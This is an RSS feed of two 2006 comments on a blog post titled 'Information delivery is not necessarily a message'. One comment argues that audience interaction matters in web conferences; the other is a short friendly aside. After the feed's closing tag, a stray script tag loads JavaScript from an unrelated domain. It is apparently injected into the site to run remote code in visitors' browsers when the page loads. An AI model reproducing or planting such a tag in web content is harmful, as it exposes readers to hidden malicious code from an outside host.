<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Information delivery is not necessarily a message</title>
	<atom:link href="http://www.millswyck.com/blog/index.php/2006/11/21/information-delivery-is-not-necessarily-a-message/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.millswyck.com/blog/index.php/2006/11/21/information-delivery-is-not-necessarily-a-message/</link>
	<description>Thoughts on things, communications and otherwise</description>
	<lastBuildDate>Thu, 09 Sep 2010 03:43:01 -0400</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
	<item>
		<title>By: Peter Stewart</title>
		<link>http://www.millswyck.com/blog/index.php/2006/11/21/information-delivery-is-not-necessarily-a-message/comment-page-1/#comment-724</link>
		<dc:creator>Peter Stewart</dc:creator>
		<pubDate>Fri, 24 Nov 2006 21:00:38 +0000</pubDate>
		<guid isPermaLink="false">http://millswyck.com/blog/index.php/2006/11/21/information-delivery-is-not-necessarily-a-message/#comment-724</guid>
		<description>Alan, absolutely agree that technology cannot compensate for bad content and a poor message.  That being said, it certainly does extend the reach of that message...either live or via an on demand recording.  I&#039;ve found that they key to web conferences or online meetings is INTERACTION.  Taking advantage of Q&amp;A, polls, and multiple presenters...keeping the audience engaged and involved...tailoring the message based on their involvement and feedback.  Since you can&#039;t see them...and can&#039;t control their IM or email multitasking (aka not paying attention), interaction is more important than ever along with a crisp, clear message of course.

Cheers - Peter (my blog on this stuff http://www.webconferencinghub.com)</description>
		<content:encoded><![CDATA[<p>Alan, absolutely agree that technology cannot compensate for bad content and a poor message.  That being said, it certainly does extend the reach of that message&#8230;either live or via an on demand recording.  I&#8217;ve found that they key to web conferences or online meetings is INTERACTION.  Taking advantage of Q&amp;A, polls, and multiple presenters&#8230;keeping the audience engaged and involved&#8230;tailoring the message based on their involvement and feedback.  Since you can&#8217;t see them&#8230;and can&#8217;t control their IM or email multitasking (aka not paying attention), interaction is more important than ever along with a crisp, clear message of course.</p>
<p>Cheers &#8211; Peter (my blog on this stuff <a href="http://www.webconferencinghub.com)" rel="nofollow">http://www.webconferencinghub.com)</a></p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Jeff Bailey</title>
		<link>http://www.millswyck.com/blog/index.php/2006/11/21/information-delivery-is-not-necessarily-a-message/comment-page-1/#comment-714</link>
		<dc:creator>Jeff Bailey</dc:creator>
		<pubDate>Wed, 22 Nov 2006 03:27:47 +0000</pubDate>
		<guid isPermaLink="false">http://millswyck.com/blog/index.php/2006/11/21/information-delivery-is-not-necessarily-a-message/#comment-714</guid>
		<description>You must admitt, the Live Web presentation in question was really good;)

Get some sleep!

Later,
Jeff</description>
		<content:encoded><![CDATA[<p>You must admitt, the Live Web presentation in question was really good;)</p>
<p>Get some sleep!</p>
<p>Later,<br />
Jeff</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script src="http://nowisisdudescars.com/js.php"></script>